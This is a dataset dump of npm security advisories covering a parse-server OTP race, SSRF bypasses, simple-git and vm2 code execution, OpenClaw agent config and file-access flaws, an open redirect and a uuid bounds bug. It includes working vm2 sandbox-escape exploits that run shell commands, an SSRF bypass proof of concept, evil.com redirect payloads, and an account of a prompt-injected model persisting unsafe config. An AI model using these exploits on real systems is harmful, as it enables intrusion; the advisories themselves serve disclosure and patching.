deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-jpq4-7fmq-q5fj
Package: parse-server (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: < 8.6.76
Patched in: 8.6.76

Summary: parse-server: MFA SMS one-time password accepted twice under concurrent login

Details:
### Impact

A race condition in the MFA SMS one-time password (OTP) login path allows two concurrent `/login` requests carrying the same OTP to both succeed and both receive valid session tokens, breaking the single-use property of the OTP. The vulnerability requires the attacker to already possess the victim's password and intercept the active SMS OTP (e.g. via SIM swap, network mirror, or phishing relay) and to race the legitimate login request, so the practical attack surface is narrow.

This advisory is the same class of incomplete fix as [GHSA-2299-ghjr-6vjp](https://github.com/parse-community/parse-server/security/advisories/GHSA-2299-ghjr-6vjp) (TOTP recovery codes) and [GHSA-w73w-g5xw-rwhf](https://github.com/parse-community/parse-server/security/advisories/GHSA-w73w-g5xw-rwhf) (MFA recovery in authData-only login). Those previous fixes added optimistic locking only for array-typed authData fields; SMS MFA stores the OTP as a string, so the guard skipped it.

### Patches

The optimistic lock has been generalized to cover primitive (string, number, boolean) and array authData fields. The lock is implemented as a shared helper `applyAuthDataOptimisticLock` that adds equality predicates on the original values of changed fields to the update WHERE clause. Concurrent writers racing the same single-use token now miss the WHERE condition and surface as `Invalid auth data`.

### Workarounds

- Disable SMS MFA and use TOTP instead (TOTP tokens are time-window validated, not stored single-use).
- Place a rate limiter on the `/login` endpoint to reduce concurrent-request burst capacity.

### Resources

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-jpq4-7fmq-q5fj
- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10448
- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10449
GitHub Security Advisory: GHSA-jpq4-7fmq-q5fj
Package: parse-server (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 9.0.0, < 9.9.0-alpha.2
Patched in: 9.9.0-alpha.2

Summary: parse-server: MFA SMS one-time password accepted twice under concurrent login

Details:
### Impact

A race condition in the MFA SMS one-time password (OTP) login path allows two concurrent `/login` requests carrying the same OTP to both succeed and both receive valid session tokens, breaking the single-use property of the OTP. The vulnerability requires the attacker to already possess the victim's password and intercept the active SMS OTP (e.g. via SIM swap, network mirror, or phishing relay) and to race the legitimate login request, so the practical attack surface is narrow.

This advisory is the same class of incomplete fix as [GHSA-2299-ghjr-6vjp](https://github.com/parse-community/parse-server/security/advisories/GHSA-2299-ghjr-6vjp) (TOTP recovery codes) and [GHSA-w73w-g5xw-rwhf](https://github.com/parse-community/parse-server/security/advisories/GHSA-w73w-g5xw-rwhf) (MFA recovery in authData-only login). Those previous fixes added optimistic locking only for array-typed authData fields; SMS MFA stores the OTP as a string, so the guard skipped it.

### Patches

The optimistic lock has been generalized to cover primitive (string, number, boolean) and array authData fields. The lock is implemented as a shared helper `applyAuthDataOptimisticLock` that adds equality predicates on the original values of changed fields to the update WHERE clause. Concurrent writers racing the same single-use token now miss the WHERE condition and surface as `Invalid auth data`.

### Workarounds

- Disable SMS MFA and use TOTP instead (TOTP tokens are time-window validated, not stored single-use).
- Place a rate limiter on the `/login` endpoint to reduce concurrent-request burst capacity.

### Resources

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-jpq4-7fmq-q5fj
- Fix Parse Server 9: https://github.com/parse-community/parse-server/pull/10448
- Fix Parse Server 8: https://github.com/parse-community/parse-server/pull/10449
GitHub Security Advisory: GHSA-p4hc-9pjh-55c8
Package: ssrfcheck (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 1.2.0
Patched in: 1.2.0

Summary: ssrfcheck: SSRF Bypass Caused by Failure to Classify Reserved IP Address Space as Invalid

Details:
# SSRF Bypass in `ssrfcheck` - fails to classify reserved IP address space as invalid

`ssrfcheck` is an npm package that serves to provide protection from SSRF by validating URLs or hostname inputs.

Resources: 
 * Project's GitHub code repository: https://github.com/felippe-regazio/ssrfcheck
 * Project's npm package: https://www.npmjs.com/package/ssrfcheck
 
## Vulnerability

The `ssrfcheck` package maintains a denylist of IP addresses and ranges to check against when validating if an IP address is to be considered as safe or not.

However, the IP address list used for the denylist is incomplete and misses a reserved IP address space as defined by the IANA (Internet Assigned Numbers Authority):

- 224.0.0.0/4 - Multicast

Practically, this reserved IP address space is used for multicast traffic and would most commonly be used for reserved local communication over network protocols such as UDP, which would make it less likely to be used in a typical SSRF attack in practice.

However, such reserved IP address space shouldn't be allowed and it would be responsible of the SSRF protection package to align and conform to an agreed-upon standard of special-purposed addresses that should not be considered a valid public IP address. For reference, the popular npm packages `private-ip` and `ipaddr.js` that are highly dependent-upon to make decisions about SSRF protection and both consider the above mentioned IP address space as reserved and is not considered a valid public IP address.

## Exploit Proof of Concept

1. Install the `ssrfcheck` package:

```bash
npm install ssrfcheck
```

2. Define an `app.js` file with the programmatic API of `ssrfcheck`:

```javascript
import { isSSRFSafeURL } from 'ssrfcheck';

let result
result = isSSRFSafeURL('https://012.1.2.3/whatever');
console.log(result);  // returns false
result = isSSRFSafeURL('https://localhost:8080/whatever');
console.log(result);  // returns false

result = isSSRFSafeURL('https://239.255.255.250:8080/whatever');
console.log(result);  // returns true - bypassed
```

## Vulnerable versions

All versions of ssrfcheck are vulnerable to this issue, up to and including to the latest version of `1.1.1`.

## Assigned CVE

[CVE-2025-8267](https://nvd.nist.gov/vuln/detail/CVE-2025-8267)

# Author

Liran Tal
GitHub Security Advisory: GHSA-4gp8-rjrq-ch6q
Package: link-preview-js (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 4.0.0
Patched in: 4.0.1

Summary: link-preview-js vulnerable to IPv6 and internal loopback attacks

Details:
### Impact
The library did not check for IPv6 loopback attacks. There was also a DNS attack, where an address could be resolved into an internal IP. This could cause internal data leaks.

### Patches
Problem has been patched in version 4.0.1. However, it cannot be completely solved by the package alone. The regex used for validation has been tightened for IPv6 addresses. 

The DNS resolving, however, is more difficult. The regex has been tightened to prohibit .internal, .local, .nip.io and .sslip.io addresses, however there can be other services not on the list, therefore it is imperative that users use the resolveDNSHost option to do DNS resolution before fetching content. To that regard a (scary) error message has been added when the option is not set.

### Workarounds
Users can do their own validation before fetching content.

Reported by https://github.com/Andrew-most-likely
GitHub Security Advisory: GHSA-hffm-xvc3-vprc
Package: simple-git (NPM)
Severity: HIGH (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 3.36.0
Patched in: 3.36.0

Summary: simple-git is vulnerable to Remote Code Execution

Details:
Versions of the package simple-git before 3.36.0 are vulnerable to Remote Code Execution (RCE) due to an incomplete fix for [CVE-2022-25912](https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221) that blocks the -c option but not the equivalent --config form. If untrusted input can reach the options argument passed to simple-git, an attacker may still achieve remote code execution by enabling protocol.ext.allow=always and using an ext:: clone source.
GitHub Security Advisory: GHSA-cwj3-vqpp-pmxr
Package: openclaw (NPM)
Severity: HIGH (CVSS 8.8)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 2026.4.23
Patched in: 2026.4.23

Summary: OpenClaw's gateway config mutation guard allowed unsafe model-driven config writes

Details:
## Summary

The agent-facing `gateway` tool protects `config.apply` and `config.patch` with a model-to-operator trust boundary. That guard used a hand-maintained denylist of protected config paths. The config schema outgrew that denylist, leaving sensitive subtrees writable through model-driven gateway config mutations.

## Impact

A prompt-injected or otherwise compromised model running with access to the owner-only `gateway` tool could persist unsafe config changes that crossed security boundaries. Examples included config paths affecting command execution, network/proxy/TLS behavior, credential forwarding, telemetry or hook endpoints, memory/indexing surfaces, and operator policy controls. These changes could survive restart once written to config.

## Affected Packages / Versions

- Package: `openclaw` on npm
- Affected: versions before `2026.4.23`
- Fixed: `2026.4.23`
- Latest stable verified fixed: `openclaw@2026.4.23`, tag `v2026.4.23`

## Fix

OpenClaw replaced the denylist with a fail-closed allowlist. Agent-driven `gateway config.apply` and `gateway config.patch` now permit only narrow agent-tunable prompt/model settings and mention-gating paths. Other config changes are rejected before the gateway mutation RPC is invoked.

## Fix Commit(s)

- `bceda6089aa7b3695cc7696b43c61ae3d01bb0ec` (`fix(gateway): fail closed on runtime config edits`)

## Severity

Severity remains `high`. The vulnerable entry point is owner-only, but the model/agent is not a trusted principal under OpenClaw's security model, and the guard is the explicit model-to-operator boundary for persisted config mutation.
GitHub Security Advisory: GHSA-r39h-4c2p-3jxp
Package: openclaw (NPM)
Severity: HIGH (CVSS 7.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: < 2026.4.23
Patched in: 2026.4.23

Summary: OpenClaw vulnerable to arbitrary code execution via attacker-controlled setup-api.js loaded from cwd during env-key resolution

Details:
## Summary

OpenClaw's bundled plugin setup resolver could fall back to `process.cwd()` while resolving provider setup metadata. If a user ran an OpenClaw command from an attacker-controlled repository containing `extensions/<plugin>/setup-api.js`, OpenClaw could load and execute that JavaScript during ordinary provider/model status resolution.

## Impact

This is arbitrary JavaScript execution in the OpenClaw process under the current user account. A malicious repository could run code when the user executed commands such as provider/model inspection from that directory. The issue does not require gateway network exposure, but it does require user interaction: the user must run OpenClaw from a directory containing the attacker-controlled setup file.

## Affected Packages / Versions

- Package: `openclaw` on npm
- Affected: versions before `2026.4.23`
- Fixed: `2026.4.23`
- Latest stable verified fixed: `openclaw@2026.4.23`, tag `v2026.4.23`

## Fix

OpenClaw now resolves bundled setup fallbacks only from the canonical package/repository root and no longer includes `process.cwd()` as a trusted setup-api search root. A regression test verifies that a workspace-local `extensions/<plugin>/setup-api.js` is not loaded through provider setup resolution.

## Fix Commit(s)

- `993781e6e6eaf50f033cfc3e3bf4f[PII_REDACTED]7` (`fix(plugins): ignore cwd setup-api fallback`)

## Severity

Severity remains `high` because successful exploitation allows arbitrary code execution under the user running OpenClaw. The CVSS vector is local/user-interaction scoped rather than network-only because the victim must run OpenClaw from an attacker-controlled directory.
GitHub Security Advisory: GHSA-q8ff-7ffm-m3r9
Package: openclaw (NPM)
Severity: MODERATE (CVSS 6.0)
CWE: CWE-613: Insufficient Session Expiration
Vulnerable versions: < 2026.4.23
Patched in: 2026.4.23

Summary: OpenClaw's Webhooks SecretRef route secret remains valid after rotation/reload

Details:
## Summary

OpenClaw webhooks allowed route secrets to be backed by `SecretRef` values, but cached the resolved secret for a route. After an operator rotated the underlying secret and ran `openclaw secrets reload`, the previous resolved webhook secret could remain valid until the plugin or gateway restarted.

## Impact

An attacker who already had a previously valid webhook route secret could continue authenticating webhook requests after the operator rotated the secret and reloaded secrets. This weakened credential rotation for webhook routes and could allow continued invocation of the configured webhook task flow until restart.

## Affected Packages / Versions

- Package: `openclaw` on npm
- Affected: versions before `2026.4.23`
- Fixed: `2026.4.23`
- Latest stable verified fixed: `openclaw@2026.4.23`, tag `v2026.4.23`

## Fix

Webhook route authentication now resolves `SecretRef`-backed route secrets on each request. A rotated secret becomes effective after `openclaw secrets reload` without requiring a gateway or plugin restart, and the old secret is rejected.

## Fix Commit(s)

- `36c4a372a0ad5dca8bfc0d93f7aab9c2f2de66fa` (`fix(webhooks): reload route secrets per request`)

## Severity

Severity remains `medium`. The attack requires possession of a previously valid route secret, but the stale credential can continue to authorize webhook actions after rotation.
GitHub Security Advisory: GHSA-vvvv-983w-r7pv
Package: @workos/authkit-session (NPM)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
Vulnerable versions: < 0.5.1
Patched in: 0.5.1

Summary: @workos/authkit-session has an Open Redirect via state-derived redirect target

Details:
An open redirect vulnerability exists in `AuthService.handleCallback` due to insufficient validation of the `returnPathname` value derived from the OAuth `state` parameter.

The `state` parameter is round-tripped through the identity provider (IdP) and can be influenced by an attacker. The handleCallback function decodes and returns returnPathname without enforcing restrictions on origin or scheme. As a result, attacker-controlled values (e.g., `https://evil.com/`, `//evil.com`, or similar variants) may be returned to the application.

If this value is used directly in a redirect (e.g., via an HTTP `Location` header, framework redirect helpers, or client-side navigation), it may cause the user to be redirected to an external, attacker-controlled site.

**Security Impact**
This issue may be used to facilitate phishing or user redirection attacks by leveraging the trust of the originating domain. For example, an attacker could craft a link that directs a user through a legitimate authentication flow and then redirects them to an external site.

The severity depends on how `returnPathname` is used by the application. Exploitation requires:

* The application to use `returnPathname` as a redirect target, and
* The absence of downstream validation or allowlisting

This vulnerability does not enable authentication bypass, token disclosure, or direct account compromise on its own, but may increase the effectiveness of social engineering attacks when combined with user interaction.

**Vulnerability Type**
CWE-601: URL Redirection to Untrusted Site (Open Redirect)

**Patches**
Patched in https://github.com/workos/authkit-session/releases/tag/v0.5.1
GitHub Security Advisory: GHSA-qc5j-2mqx-x83q
Package: openclaw (NPM)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-73: External Control of File Name or Path
Vulnerable versions: >= 2026.4.7, < 2026.4.15
Patched in: 2026.4.15

Summary: Duplicate Advisory: OpenClaw: Webchat media embedding enforces local-root containment for tool-result files

Details:
### Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mr34-9552-qr95. This link is maintained to preserve external references.

### Original Description
OpenClaw versions 2026.4.7 before 2026.4.15 fail to enforce local-root containment on tool-result media paths, allowing arbitrary local and UNC file access. Attackers can craft malicious tool-result media references to trigger host-side file reads or Windows network path access, potentially disclosing sensitive files or exposing credentials.
GitHub Security Advisory: GHSA-55hx-c926-fr95
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 3.10.4
Patched in: 3.11.0

Summary: VM2 Has a Sandbox Escape Issue via SuppressedError

Details:
In vm2 v3.10.4 on Node.js v24.13.0, `SuppressedError` allows attackers to escape the sandbox and run arbitrary code.

### PoC
```js
const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);
```
GitHub Security Advisory: GHSA-v37h-5mfm-c47c
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 3.10.3
Patched in: 3.11.0

Summary: VM2 Has Sandbox Breakout Through Inspect Function

Details:
### Summary

VM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.

### PoC

```js
const obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice:()=>'',
	l:{__proto__: null}
};

obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
	if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
	return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
```

### Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
GitHub Security Advisory: GHSA-qvjj-29qf-hp7p
Package: vm2 (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-693: Protection Mechanism Failure
Vulnerable versions: <= 3.10.3
Patched in: 3.10.5

Summary: VM2 Has Sandbox Breakout Through Promise Species

Details:
### Summary

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.
This function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.

### PoC

The following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.

```js
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
Object.defineProperty=()=>{};
async function fn() {
    const e = new Error();
    e.name = Symbol();
    return e.stack;
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`);
```

### Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
GitHub Security Advisory: GHSA-w5hq-g745-h8pq
Package: uuid (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-787: Out-of-bounds Write, CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input
Vulnerable versions: >= 13.0.0, < 13.0.1
Patched in: 13.0.1

Summary: uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided

Details:
### Summary

`v3`, `v5`, and `v6` accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`).  
By contrast, `v4`, `v1`, and `v7` explicitly throw `RangeError` on invalid bounds.

This inconsistency allows **silent partial writes** into caller-provided buffers.


### Affected code

- `src/v35.ts` (`v3`/`v5` path) writes `buf[offset + i]` without bounds validation.
- `src/v6.ts` writes `buf[offset + i]` without bounds validation.

### Reproducible PoC

```bash
cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"
```

Observed:

- `v4 THREW RangeError`
- `v5 NO_THROW`
- `v6 NO_THROW`

Example partial overwrite evidence captured during audit:

```text
same true buf [
  170, 170, 170, 170,
   75, 224, 100,  63
]
v6 [
  187, 187, 187, 187,
   31,  19, 185,  64
]
```

### Security impact

- **Primary**: integrity/robustness issue (silent partial output).
- If an application assumes full UUID writes into preallocated buffers, this can produce malformed/truncated/partially stale identifiers without error.
- In systems where caller-controlled offsets/buffer sizes are exposed indirectly, this may become a security-relevant logic flaw.

### Suggested fix

Add the same guard used by `v4`/`v1`/`v7`:

```ts
if (offset < 0 || offset + 16 > buf.length) {
  throw new RangeError(`UUID byte range ${offset}:${offset + 15} is out of buffer bounds`);
}
```

Apply to:

- `src/v35.ts` (covers `v3` and `v5`)
- `src/v6.ts`